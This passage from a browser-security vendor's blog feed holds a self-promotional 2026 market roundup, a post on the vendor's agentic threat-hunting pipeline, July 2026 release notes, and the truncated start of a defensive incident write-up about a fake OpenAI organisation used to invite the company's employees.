      <dc:creator>Alex Henshall</dc:creator>
      <category>Browser security</category>
      <category>Detection &amp; response</category>
      <description>Browser security means a lot of different things depending on who's talking. Here's your guide to the browser security market from a vendor perspective in 2026.</description>
      <content:encoded><![CDATA[<p>Ask a security team where most of their tools are and it&#39;s the endpoint, network, or cloud. But ask where their users spend most of their time and it&#39;s the browser.</p><p>So we got a category: browser security. And when it comes to the best browser security tools, there&#39;s a problem. Browser security means three different things depending on who&#39;s talking: enterprise browser extensions, enterprise browsers, and remote browser isolation (RBI).</p><p>The market reflects that confusion, but the momentum is real. According to <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market">Omdia&#39;s 2026 research</a>, browser security is already a top-five priority for 88% of organizations and the top priority for 26%, with 86% having meaningfully increased their browser security spending in response to emerging threats. <a href="https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security">Three browser security startups were acquired</a> by major platform vendors in 2026 alone — CrowdStrike bought Seraphic, Zscaler absorbed SquareX, and Akamai announced intent to acquire LayerX.</p><p>Here&#39;s what the browser security market looks like in 2026.</p><p><b>The top enterprise browser solutions in 2026 include Push Security, Island, and LayerX.</b></p><p>Enterprise browsers are also commonly referred to as Secure Enterprise Browsers (SEBs). These are functionally the same thing, but buyers looking specifically for Secure Enterprise Browsers tend to be focused more on security use-cases (protecting users, and by extension business, from external threats). But all enterprise browsers tend to cover security use cases to a <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value">lesser or greater degree</a>. </p><p>So, this list applies to Secure Enterprise Browsers too. </p><hr/><h1><b>1. Push Security – Enterprise browser extension</b></h1><p>Push is a browser extension, not a browser, that turns whatever browser your people already use into a detection and response platform for the security team. With no migration, no user disruption, no new browser to manage. It covers <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value">four use cases from a single deployment</a>: detecting and stopping sophisticated browser-based attacks, AI visibility and control, identity and shadow IT security, and DLP and insider investigations. Detections are built on <a href="https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap">in-house threat research</a> and operationalized by autonomous agents, so what Push catches is based on attacker techniques and behaviors rather than a blocklist. It <a href="https://pushsecurity.com/blog/making-the-business-case-for-a-browser-security-solution">deploys in minutes</a> across managed and unmanaged devices.</p><p>Push detects AiTM and device code phishing kits (<a href="https://pushsecurity.com/blog/agentic-threat-hunting-benefits-for-customers"><u>75+ across Tycoon 2FA, Sneaky 2FA, Evilginx, and many others</u></a>) behaviorally by analyzing page structure and script execution — so detection survives infrastructure rotation. It catches ClickFix-style clipboard injection before the payload executes, detects stolen session tokens via marker injection when they appear in uninstrumented browsers, and monitors OAuth consent flows across 20+ authorization servers. Push is deployed across 3 million browsers worldwide and has been rolled out to 100,000 users in under one hour during normal office hours.</p><p>In a 30-day proof-of-value deployment at a ~4,500-employee financial services organization with a mature existing security stack, Push detected and blocked 6 ClickFix attacks and 10 AiTM phishing attempts — none of which were visible to any other tool in place. <a href="https://pushsecurity.com/customer-stories">You can read more customer stories here</a>. </p><hr/><h1><b>2. Island – Enterprise browser</b></h1><p>Island was one of the first to market in the enterprise browser category and still defines it. It replaces current browsers with a managed Chromium fork that gives IT granular control over copy-paste, screenshots, downloads, session recording, and application access — all enforced at the browser level without routing traffic through a proxy. For highly regulated environments where that degree of governance is a requirement, it&#39;s a capable platform with real enterprise traction.</p><p>It&#39;s a full browser replacement, with primary use cases around VDI replacement, contractor access, BYOD governance, and zero-trust network access. Most organizations plan for a <a href="https://pushsecurity.com/blog/enterprise-browser-vs-browser-extension-which-should-your-security-team-choose"><u>phased rollout</u></a>.</p><hr/><h1><b>3. Prisma Browser – Enterprise browser</b></h1><p>Formerly Talon, now Palo Alto Networks&#39; enterprise browser and the last-mile enforcement layer of its SASE platform. Prisma Browser is a managed Chromium browser with DLP that inspects the rendered page and zero-trust access controls, designed primarily for contractor, BYOD, and remote worker populations accessing corporate apps from unmanaged devices.</p><p>Like Island, it&#39;s a browser replacement. It integrates natively with the broader Prisma Access and Cortex stack, feeding browser telemetry into Palo Alto Networks&#39; existing correlation and response workflows.</p><hr/><h1><b>4. Seraphic Security (CrowdStrike) – Enterprise browser extension</b></h1><p>Seraphic works across any browser through an endpoint agent that adds enterprise security without replacing what&#39;s deployed. CrowdStrike acquired Seraphic in early 2026 to extend Falcon past the endpoint and into the browser layer, with the stated goal of correlating endpoint and browser telemetry in a single platform.</p><p>For existing CrowdStrike customers, the extension into the browser is a natural addition to the Falcon ecosystem. Cross-browser coverage remains a differentiator for mixed environments.</p><hr/><h1><b>5. LayerX Security (Akamai) – Enterprise browser extension</b></h1><p>LayerX is extension-based, focused on real-time DLP and AI governance which captures what happens inside AI tools, flagging sensitive data submissions, and enforcing policy, all without requiring a new browser. Low deployment friction and a growing AI visibility capability are the draw.</p><p>Akamai announced the intent to acquire LayerX in mid-2026 to complement its Zero Trust portfolio. For buyers evaluating LayerX as a long-term platform bet, the <a href="https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security">question is what the roadmap looks like 18 months post-close</a>, given Akamai&#39;s track record of absorbing acquisitions (Guardicore, Neosec, Inverse) into its broader platform.</p><hr/><h1><b>6. SquareX (Zscaler) – Enterprise browser extension</b></h1><p>SquareX takes a detection-minded posture, inspecting files and links while browsing, neutralizing malicious content before it reaches the endpoint, and offering disposable browser environments for high-risk activity. It was clearly built by people who think in attacker terms.</p><p>Zscaler acquired SquareX in early 2026, integrating it into the Zero Trust Exchange alongside its existing SSE capabilities.</p><hr/><h1><b>7. Keep Aware – Enterprise browser extension</b></h1><p>Keep Aware is an agentless extension built with security operations in mind. It&#39;s quick to deploy through MDM or group policy, and focused on surfacing browser threats, extension risk, and AI usage into existing SOC workflows. Detection and response is the throughline, with SIEM integration as a core part of the offering.</p><p>Founded in 2022, Keep Aware has been iterating quickly with a focused product roadmap around browser detection and response.</p><hr/><h1><b>8. Menlo Security – Remote browser isolation</b></h1><p>Menlo pioneered <a href="https://pushsecurity.com/solution/tool-replacements/remote-browser-isolation">remote browser isolation</a>: web content renders in a disposable cloud container and the user receives a clean visual stream, so nothing malicious ever touches the endpoint. For zero-tolerance environments and third-party or contractor access where you don&#39;t fully trust the device, the approach has a solid track record. Cloud rendering introduces latency and the occasional site-compatibility issue, though Menlo has invested in reducing both over the years.</p><hr/><h1><b>9. Chrome Enterprise / Edge for Business – Enterprise browser</b></h1><p>The security controls are already built into the browsers most of your people use. Chrome Enterprise offers centralized management, Safe Browsing, and identity tool integration across the fleet; Edge for Business adds work-and-personal separation, phishing protection, and tight integration with Microsoft 365 and Defender.</p><p>These are baseline controls, and for many organizations they&#39;re effectively free with what&#39;s already deployed. Most organizations treat them as the foundation that the rest of the tools on this list build on.</p><p>According to <a href="https://pushsecurity.com/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market"><u>Omdia</u></a>, 86% of organizations have meaningfully increased browser security investment in response to emerging threats — 85% expect to spend more over the next 12–24 months. The built-in controls in Chrome and Edge are a foundation, but they&#39;re <a href="https://pushsecurity.com/blog/making-the-business-case-for-a-browser-security-solution"><u>insufficient against the current threat landscape</u></a> on their own.</p><hr/><h1><b>10. SURF Security – Enterprise browser</b></h1><p>SURF is a Chromium-based enterprise browser built zero-trust-first, with identity-based access controls, DLP, and session security inside a fully managed environment. Centralized, policy-driven control by default is the pitch, aimed at security-first organizations that want a locked-down browser from day one.</p><p>Like Island and Prisma, it&#39;s a browser replacement, so it follows the same deployment model — plan for a migration alongside the capabilities.</p><hr/><h1><b>Learn more about Push Security</b></h1><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Push is the best choice for organizations looking to <a href="https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value">solve the most impactful security problems in the browse</a>r, with use cases including detecting and stopping advanced attacks, data loss and insider investigations, identity and shadow IT security, and AI visibility and control. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4z1RAFROesqaBF4H3qR8yu/1e21a68602402773bfa843fd0208d4ca/Screenshot_2026-07-27_at_10.36.43.png" alt="Comparing ease of deployment x security value for browser security solutions"/><figcaption>Comparing ease of deployment x security value for browser security solutions.</figcaption></figure><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p>Book a <a href="https://pushsecurity.com/demo">live demo</a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>How Push’s agentic threat hunting in the browser benefits every customer</title>
      <link>https://pushsecurity.com/blog/agentic-threat-hunting-benefits-for-customers</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/agentic-threat-hunting-benefits-for-customers</guid>
      <pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator>Kelly Davenport</dc:creator>
      <category>Detection &amp; response</category>
      <category>Browser-based attacks</category>
      <description>Security outcomes you can achieve when AI agents hunt in the browser, identify new threats, and ship detections that benefit everyone.</description>
      <content:encoded><![CDATA[<p>Hey all you security engineers, let’s play <b><i>Would You Rather … ?</i></b></p><p>Would you rather spend time trying to write detections for <b>modern browser-based attacks</b> by …</p><ul><li><p>Combing through MITRE looking for techniques that you can write detections on, only to find you have<b> little useful telemetry from your typical sources.</b></p></li><li><p>Curating a list of malicious domain IOCs extracted from endless TI pieces, only to <b>never see a single one of them match</b>.</p></li><li><p><b>Just giving up and blocking a bunch of domains or IPs</b> from every TI feed you come across, while quietly weeping.</p></li></ul><p>Or … </p><ul><li><p>Inherit constantly evolving detections validated across 3 million-plus browsers, tuned to remove false positives, informed by human threat researchers, and tailored to the known and not-yet-known threats that target account compromise and malware delivery via the browser.</p></li></ul><p>At Push, we’ve built an <a href="https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline"><u>agentic threat hunting and detection engineering pipeline</u></a> to take that first set of onerous tasks off your plate. The result is a process that looks a lot like the ideal described in detection engineering maturity models, achieved without any extra headcount or subject matter expertise on your team, and scaled to meet the speed and complexity of our current era of AI-enabled adversaries.</p><p>Let’s take a look at how the pipeline delivers a collective good by identifying emerging threats or new technique variants in a single customer environment and then delivering detections to everyone.</p><p>This is Part 1 of a two-part series. In Part 2, we’ll cover a case study of an agentic threat hunt in detail.</p><hr/><h1>Why detection engineering from TI is hard — and why AI-enabled attacks are making it even harder</h1><p>Detection engineers feel the pain that Beethoven must have felt when he got the critique: “There are just too many notes!”</p><p>Except where notes = threat intelligence, light on the <i>intelligence</i>. (For a great unpacking of what’s hard about transforming TI into detections, check out this <a href="https://medium.com/anton-on-security/detection-engineering-is-painful-and-it-shouldnt-be-part-1-3641d8740458"><u>blog series</u></a> from Anton Chuvakin and his Google security colleagues from 2023. The challenge has only gotten harder since then!)</p><p>In short, there is too much potential TI, too little actionable detail, and a dearth of useful business-relevant context.</p><p>This often manifests as:</p><ul><li><p><b>Feeling constantly behind the threat landscape. </b>SANS Institute’s <a href="https://www.sans.org/white-papers/state-detection-engineering-2026"><u>State of Detection Engineering 2026</u></a> report found that only 18% of practitioners feel like they’re staying ahead; 56% report barely keeping pace.</p></li><li><p>Access to a huge amount of potential TI, but <b>lacking the time, context, and tools needed to parse the data</b> for threats that matter to the business.</p></li><li><p>More information on IOCs than TTPs, leading to <b>ever-growing blocklists and attacks that still slip through</b>.</p></li></ul><p>As AI-enabled adversaries continue to make it increasingly trivial to rotate infrastructure or abuse trusted services and workflows to deliver modern attacks, the hill gets steeper. </p><p>Spamhaus has found that <b>89% of phishing domains are active for less than 2 days</b>, with just 6.5% surviving for more than 15 days, making it increasingly difficult to rely on blocking known-bad URLs when most phishing attacks are essentially now a zero-day. (And in our experience, any phishing domains still up past a couple of days are just the remnants of a dead campaign that you’ll never see again.)</p><p>In the case of attacks that target employees via the browser — using advanced phishing methods, commercial toolkits, abuse of OAuth, abuse of trusted services to deliver phishing lures, etc. — most security teams are also working without the right foundational visibility to even begin to mature their detection process against these TTPs.</p><p>The missing input is visibility at the layer where these attacks actually execute — the browser session. Without it, detection engineering for browser-based threats is painful guesswork.</p><hr/><h1>How Push operationalized best practices for hunting from TI using agents</h1><p>In building our agentic threat hunting and detection engineering pipeline at Push, we set out to solve many of the same problems that any security team faces when maturing its processes:</p><ul><li><p>How to transform TI into technique-level intel we could write durable detections for across a wide customer base at scale?</p></li><li><p>How to create structured internal knowledge to add context to our detection engineering process that validates the relevance of what we find?</p></li><li><p>How to verify what’s worthwhile to hunt for, remove false positives, and understand the value of a detection for a specific TTP across an install base of more than 3 million browsers?</p></li></ul><p>The process we created looks a lot like the <a href="https://medium.com/anton-on-security/blueprint-for-threat-intel-to-detection-flow-part-7-088024be08dd"><u>best practices</u></a> on how to turn intelligence into meaningful detections. The difference is that agents let us run this process continuously and at a scale that would be impossible to achieve with human analysts alone.</p><p><b>It starts with ingestion. </b>An agent tasked with TI aggregation monitors multiple industry sources — vendor reports, researcher disclosures, campaign teardowns — and filters for intelligence relevant to browser-based attack techniques. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/77Bkzr6PPJSB90xp4sEp5o/d3a8a4ce568fd39a6f54d6c031c4affd/image4.png" alt="Initial analysis of a TI post by Push agents that triggers intel ingestion, checking for potentially huntable elements relevant to Push’s detection capabilities"/><figcaption>Initial analysis of a TI post by Push agents that triggers intel ingestion, checking for potentially huntable elements relevant to Push’s detection capabilities</figcaption></figure><p>Because this agent already understands the types of attacks and scenarios that matter to Push’s detection surface, it can distinguish signal from noise at the intake stage, flagging useful intel and proposing initial lightweight hunts based on the browser metadata Push can observe. When a potential hunt looks promising, the aggregation agent hands off to a deeper analysis agent to extract what’s actually huntable.</p><p>While Push uses commercial AI models, that’s not actually where the value is derived for our agentic threat hunting process — rather, it’s all about our browser telemetry. We wrote more about this in <a href="https://pushsecurity.com/blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline"><u>why you can’t vibecode your own AI-driven threat hunting pipeline</u></a>. </p><p><b>That extraction step is where a general TI feed becomes something you can build detections from. </b>Agents built on frontier models have a deep understanding of web programming languages and browser workflows can decompose the intelligence into its meaningful atomic units — the specific behavioral patterns that distinguish a malicious technique from normal browser activity. </p><p>They compare those patterns against everything the Push browser agent can observe: tabs, windows, navigation events, downloads, network requests, DOM content, script execution. Then they discard anything too broad — observable events that are commonplace, even when connected to a malicious TTP — to avoid false positives. </p><p>What survives is one or more huntable technique signatures that can be identified with a high true positive rate. This is the <a href="https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era"><u>Pyramid of Pain principle</u></a> operationalized at machine speed: Target the technique, not the indicator, because techniques are genuinely hard for attackers to change.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3d4gGhPPDix4iiqSuIgXFV/6549a9e414b38a89a5724930339c3c2e/image2.png" alt="After reviewing intel, Push agents extract the most likely high-fidelity behavioral indicators of an attack technique and propose some hunt queries"/><figcaption>After reviewing intel, Push agents extract the most likely high-fidelity behavioral indicators of an attack technique and propose some hunt queries</figcaption></figure><p><b>In parallel, the pipeline validates whether the identified technique is genuinely novel or a variant of something Push already detects. </b>This is where our internal knowledge base comes into play. Built over three years by Push’s in-house research team and augmented continuously by the pipeline itself, it represents what Push knows about browser-based attack behaviors — a structured corpus of TTPs that lets agents classify incoming intelligence as new territory, a known variant that needs a refined detection, or something already covered. That classification determines what happens next: A net-new technique triggers a full hunt; a known variant triggers a refinement cycle; and a duplicate gets deprioritized.</p><p><b>The hunt itself is where hypothesis meets evidence.</b> Agents develop a specific, testable prediction about what the technique looks like in browser telemetry, then validate that prediction across Push’s install base. The aim of the initial hunt is to identify any potential false positives — legitimate browser behavior that matches the pattern. Then the agents refine: adjusting the query, narrowing the behavioral fingerprints, testing again. Each iteration sharpens the detection until the false positive rate drops to a negligible, tolerable level. </p><p>The hunts that produce relevant, high-confidence results become continuous queries — a kind of early warning system for emerging threats we’re actively watching for and learning about. The most useful and reliable of those queries become production detections that protect every Push customer in real time. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4C3ZgBknBiidR5Di147Z5x/ebe51fe33e62f575e8e0870cf86024ab/image5.png" alt="A glimpse into the reasoning process of the hunt agents, clustering results for efficient analysis before suggesting query refinements"/><figcaption>A glimpse into the reasoning process of the hunt agents, clustering results for efficient analysis before suggesting query refinements</figcaption></figure><p><b>This is what “detect what matters” looks like as an engineering discipline. </b>By the time the agents have whittled down millions or trillions of browser events into a good hunt query — where good means broad enough to cast a usefully wide net for variations — and then tuned that further into a high-fidelity detection, the result is fewer, sharper detections by design. And because Push detects at the browser session layer before a user can interact with a malicious page, almost all of those detections fire pre-compromise. </p><p>The same 2026 SANS survey mentioned earlier found that <b>66% of SOC practitioners cite vendor-provided rules as their primary source of false positives</b> — a structural problem that persists at every organization size. Push’s pipeline produces the opposite outcome: better detections, less noise.</p><p><b>The result is a system with two learning loops.</b> An inner loop handles real-time detection and response for known attacker techniques — the production detections already deployed across the customer base. An outer loop handles continuous discovery — agents hunting for new techniques, refining existing detections, and ingesting external intelligence. </p><p><b>Each loop feeds the other:</b> The outer loop’s discoveries become the inner loop’s new production detections, and the inner loop’s blocked attacks become raw material for the outer loop to analyze for novel variants. The knowledge base that both loops draw on grows with every cycle, which means the pipeline&#39;s detection coverage compounds at roughly the rate the threat landscape grows more complex.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3sF0vK2krcVFYwod8Mii44/db0067eb55c2c948e0230452d299ae76/image1.png" alt="Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks"/><figcaption>Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks</figcaption></figure><p>And every validated detection produced by this process, whether it originated from a blocked attack in one customer’s environment, a proactive hunt across the telemetry corpus, or a vendor report about a campaign Push has never observed on customer estates, deploys to the entire customer base.</p><hr/><h1>Herd immunity, without all the breaches to get there</h1><p>That last point is where Push’s idea of herd immunity diverges from the traditional definition.</p><p>Detection and response platforms and MDR services commonly describe a <b>herd immunity benefit</b>: What one customer encounters, every customer gets protection against. The mechanism is real, but the learning input is typically a breach or a compromise. Someone has to be the first victim.</p><p><b>Push’s approach is different. </b></p><p>Modern browser-based attacks frequently rely on a series of techniques strung together to achieve a compromise. From its vantage point in the browser, Push catches many novel techniques with existing detections pre-compromise because it recognizes a portion of the attack techniques in the chain. The detection process then identifies what’s new about a previously unseen variation of a known TTP — perhaps an evasion technique the kit hadn’t used before, an unusual lure or infrastructure pattern, etc. </p><p><b>The detection gets better for customers and no one was compromised to get there.</b></p><p>On the external intelligence side, the pipeline ingests published research about a campaign Push has never observed, extracts the durable behavioral characteristics, validates them against browser telemetry, refines the query to tune out false positives, and ships detections before the technique is ever used against a Push customer. The protection arrives ahead of the attack.</p><p>These are the processes behind Push’s identification of <a href="https://pushsecurity.com/blog/consentfix"><u>ConsentFix</u></a>, <a href="https://pushsecurity.com/blog/installfix"><u>InstallFix</u></a>, and <a href="https://pushsecurity.com/blog/llmshare-malvertising-campaign"><u>LLMShare</u></a> — three browser-based attack techniques Push&#39;s team discovered or documented for the first time. In several cases, detections were blocking active campaigns against Push customers before the technique had been publicly documented. Those detections rolled out to every customer within hours or days of first observation.</p><hr/><h1>Outcomes: By the numbers</h1><p>Looking at the quantifiable outcomes of this agentic threat hunting capability over the last few months, the benefits for customers become clear.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2JYaJir7p8L13Tl6jSqBk6/0db8b9b445c179bc54fe8209435cbd34/Agentic_Detection_Infographic_1__8_.png" alt="Agentic Detection Infographic "/></figure><h2>Velocity</h2><p>Agents allow us to massively scale our research expertise, delivering detections for emerging threats or new variants much faster than humans alone can.</p><p>This year already, we’ve <b>tripled</b> the number of new detections shipped to customers.</p><p>We’ve also reduced the time it takes to ship production-ready detections for new threats from weeks to <b>minutes</b>.</p><h2>Detection coverage</h2><p>With that scaled expertise comes broad coverage. We perform an average of <b>300+ hunts</b> a month (a mix of live queries for identified TTPs we’re looking for, plus net-new hunts for emerging threats we identify in any given month).</p><p>A few other metrics that demonstrate the scale of our detection coverage:</p><ul><li><p><b>75+</b> attacker tools documented in our KB so far</p></li><li><p><b>25+</b> variants of existing attacks we’ve identified and shipped detections for</p></li><li><p><b>10,000+</b> monthly sessions analyzed</p></li></ul><h2>Protection from emerging threats</h2><p>On the emerging threat side, our team was the first to identify or document <b>three new browser-based attack techniques</b> — ConsentFix, InstallFix, and LLMShare — shipping detections to all customers quickly after identification.</p><p>In that same time frame, we’ve also:</p><ul><li><p>Protected <b>60+</b> <b>customers in the last 3 months</b> who’ve been targeted with novel phishing techniques — identifying never-before-seen techniques, lures, delivery mechanisms, interactions, tools, or attack chains</p></li><li><p>Prevented <b>225+</b> instances of threats pre-compromise for novel techniques</p></li></ul><p>In all of the above situations, Push customers didn’t have to do anything — no combing through TI to find relevant details, no writing their own detections and tuning out false positives, or spending cycles to unpack a particularly knotty attack chain that used techniques they had never seen before. </p><p><b>That’s what operationalized intelligence looks like at scale, delivered as a product, not a project.</b></p><hr/><h1>Learn more about Push</h1><p>The same foundational capabilities that enable this agentic threat hunting pipeline also deliver other security outcomes for Push customers: gaining visibility and control over AI tool usage; hardening identities by surfacing credential reuse, SSO gaps, and shadow IT; and supporting data loss and insider investigations with browser-layer telemetry that other tools can’t see.</p><p>If you’d like to learn more, <a href="https://pushsecurity.com/demo"><u>book a demo</u></a> with our team.</p>]]></content:encoded>
    </item>
    <item>
      <title>Product release: July 2026</title>
      <link>https://pushsecurity.com/blog/product-release-july-2026</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/product-release-july-2026</guid>
      <pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator>Andy Waugh</dc:creator>
      <category>Release notes</category>
      <description>Here’s what’s new on the Push platform for July 2026.</description>
      <content:encoded><![CDATA[<h1>What’s new this month</h1><ul><li><p>Clipboard blocking</p></li><li><p>File download blocking</p></li><li><p>File upload blocking &amp; telemetry</p></li><li><p>App categorization</p></li></ul><h1>Prevent sensitive data from being copied and pasted</h1><p>You can now block clipboard copy and paste operations containing content that is unauthorized, sensitive, or that doesn’t conform to your security policies using Push’s new <b>Clipboard blocking</b> control.</p><p>Push provides content patterns for common data types like API keys, personal access tokens, PII, and other sensitive information you may wish to monitor, warn, or block on. You can also define your own content patterns, or warn or block all clipboard actions for a given URL pattern.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4NoWZp6WCmn6Zu6WNzcxxb/c723babb880e180adc67a0321738ea95/clipboard_warn_example.png" alt="Clipboard warn example - release notes - July 2026"/></figure><p>Clipboard events matching your configured rules can be sent to your SIEM or other downstream tool using custom webhook.</p><p><a href="https://pushsecurity.com/help/10157#start">Learn more</a></p><h1>Block unauthorized or risky file downloads</h1><p>Push can now block unpermitted or risky file downloads. Configure the <b>File download blocking</b> control to enforce your security policy around when users are permitted to download specific file types or from specific destinations.</p><p>You can also use this capability to block downloads of unwanted AI tools.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/D8ah4yuOUEGg0Oye7ty96/4d4cec338176fc2b0cfd63f4c6fa7b74/file_download_block_banner_20260609.png" alt="File download blocked banner - KB 10158"/></figure><p>This feature complements the <a href="https://pushsecurity.com/help/10153#start"><b>File download telemetry</b></a> feed, which allows you to capture all file download events in your environment.</p><p><a href="https://pushsecurity.com/help/10158#start">Learn more</a></p><h1>Block file uploads and alert on file upload activity</h1><p>You can also block file uploads using the new <b>File upload blocking</b> control, and consume a telemetry feed of all file upload events in your environment using <b>File upload telemetry</b>.</p><p>For example, you may wish to block or warn users when they attempt to upload files that could contain sensitive information, or stop them from uploading files to AI apps that pose a risk for data loss or security incidents.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6LLIBdYQ5D7bG7X6btlr27/38f407c82af9d6c113f609a1f0a5e151/file_upload_block_example_20260610.png" alt="File upload blocking example - KB 10159"/></figure><p>The complementary telemetry stream for this control allows you to consume events for <a href="https://pushsecurity.com/help/10154#start">all file uploads</a> in your environment.</p><p><a href="https://pushsecurity.com/help/10159#start">Learn more</a></p><h1>App categories now automatically applied</h1><p>Push now automatically categorizes the apps in your inventory and new apps it observes. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2PGW4nGLQvuz6HMakwp36p/3f98e6964577f3abc8e624736d44a6e4/app_categories_20260604.png" alt="App inventory - app categories - KB 10160"/></figure><p>You can also use these categories to power <a href="https://pushsecurity.com/help/10125#start">App banner rules</a>. For example, you may wish to block all file-sharing or AI apps except the ones you allow. </p><p><a href="https://pushsecurity.com/help/10160#start">Learn more</a>



</p>]]></content:encoded>
    </item>
    <item>
      <title>We coined the poisoned tenant attack in 2023; in 2026, someone used it on us</title>
      <link>https://pushsecurity.com/blog/openai-poisoned-tenant-attack</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/openai-poisoned-tenant-attack</guid>
      <pubDate>Fri, 26 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>Luke Jennings</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Someone created a fake OpenAI organization using our company's name and invited specific Push employees to join it. Here's what we learned. </description>
      <content:encoded><![CDATA[<p>Three years ago, we published the poisoned tenant attack as part of the <a href="https://pushsecurity.com/resources/browser-identity-attacks-matrix"><u>Browser and Identity Attacks matrix</u></a>. Last week, someone used it to target Push Security employees and customers through OpenAI&#39;s organization invitation feature. This post breaks down what happened, explores what the payoff is for an attacker, and connects the incident to a broader pattern of SaaS platform abuse that is accelerating across the industry.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png" alt="Browser &amp; Identity Attacks Matrix"/><figcaption>Browser and identity-based techniques have exploded since we first launched our attack matrix</figcaption></figure><hr/><h1><b>What happened</b></h1><h2><b>The invitation</b></h2><p>In recent weeks, several Push Security team members have received multiple waves of emails from OpenAI inviting them to join an organization called &quot;Push Security Inc&quot;. </p><p>The emails came from OpenAI&#39;s legitimate notification address (noreply@tm.openai.com), passed all standard email authentication checks, and referenced our company by name. They looked exactly like a routine organizational invitation because, technically, they were one.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3eUI8n1hcCbP6nV2dZ2lLK/1f34b9057cafed9ef1472ea0902d84ac/image4.png" alt="Invitation email showing OpenAI branding, &quot;Push Security Inc&quot; org name, and the Gmail sender address"/><figcaption>Invitation email showing OpenAI branding, &quot;Push Security Inc&quot; org name, and the Gmail sender address</figcaption></figure><p>The invitations were sent by various accounts registered under email addresses that had no affiliation with Push. </p><p>OpenAI&#39;s invitation email did include a warning — &quot;The inviter&#39;s email domain, gmail.com, does not match your domain, pushsecurity.com&quot; — but that&#39;s a single line in an otherwise completely legitimate-looking email from a trusted platform. The invitation targeted specific employees by their work email addresses, suggesting the attacker had done some reconnaissance on our team. </p><h2><b>One click, no credentials</b></h2><p>After discussing internally I decided to investigate further by accepting the invite. The acceptance was instant (one click, no credentials or additional authentication). This was particularly notable because it was done from an entirely separate browser to my typical work profile. I wasn’t already logged into ChatGPT from the browser, but clicking the email link was all it took to join my account to the attacker&#39;s organization. </p><p>I landed on a confirmation page telling me I&#39;d been added to &quot;Push Security Inc.&quot;</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/38N7FnCMSQz519ZXQfpXo4/f848d30b238b943a47efa29d12b68b87/image5.png" alt="&quot;Invite accepted&quot; confirmation page."/><figcaption>&quot;Invite accepted&quot; confirmation page.</figcaption></figure><h2><b>What the attacker had set up</b></h2><p>Within the organization, the attacker&#39;s account appeared under the name of Push&#39;s CEO. </p><p>It&#39;s something of a rite of passage for new Push employees to receive scam texts from someone impersonating Adam, usually with an urgent request that inevitably leads to gift cards. But creating a fully configured SaaS tenant under a CEO&#39;s name and inviting specific employees into it is a different level of effort entirely.</p><p>All invited team members had been assigned the &quot;Owner&quot; role, giving them full administrative access to the organization. A Visa credit card was attached to the billing account.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3bRsNJecXnZPE2VNzS2gRy/5b715bb1b01af459885be77757c94953/image6.png" alt="Settings screen showing the organization name “Push Security Inc”."/><figcaption>Settings screen showing the organization name “Push Security Inc”.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6SXC65KKIl6Kh7jWj24fG7/930d892e37218a1e7f0bbed06edaea6e/image7.png" alt="Members page showing the attacker's account and Luke's account."/></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6lXKx1sPEpoPSLP0vWkWmX/042ea3d7a259234bb0ac53f93e79ff99/image2.png" alt="Billing page showing attached Visa card."/></figure><h2><b>The response</b></h2><p>We spotted the attack straight away and raised the alarm internally before deciding to investigate. Several Push employees had been invited to the tenant but either hadn’t seen the emails, or the wrong email address had been added for the employee. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4XMXNGxkUOZc8OJIEvAR5X/e51c2460775d712732f6a59bef28d018/image3.png" alt="Several Push employees had been invited to the tenant. Because I was an admin, I could also choose to resend the invites or remove them."/><figcaption>Several Push employees had been invited to the tenant. Because I was an admin, I could also choose to resend the invites or remove them.</figcaption></figure><p>By joining the tenant, I was able to see the other employees that had been added, enabling us to speak to each employee to confirm. We could also see that they hadn’t joined the tenant since they were all “invite pending” status. Confirming that nobody had joined (and thus used) the platform was the extent of investigation required. </p><p>We also 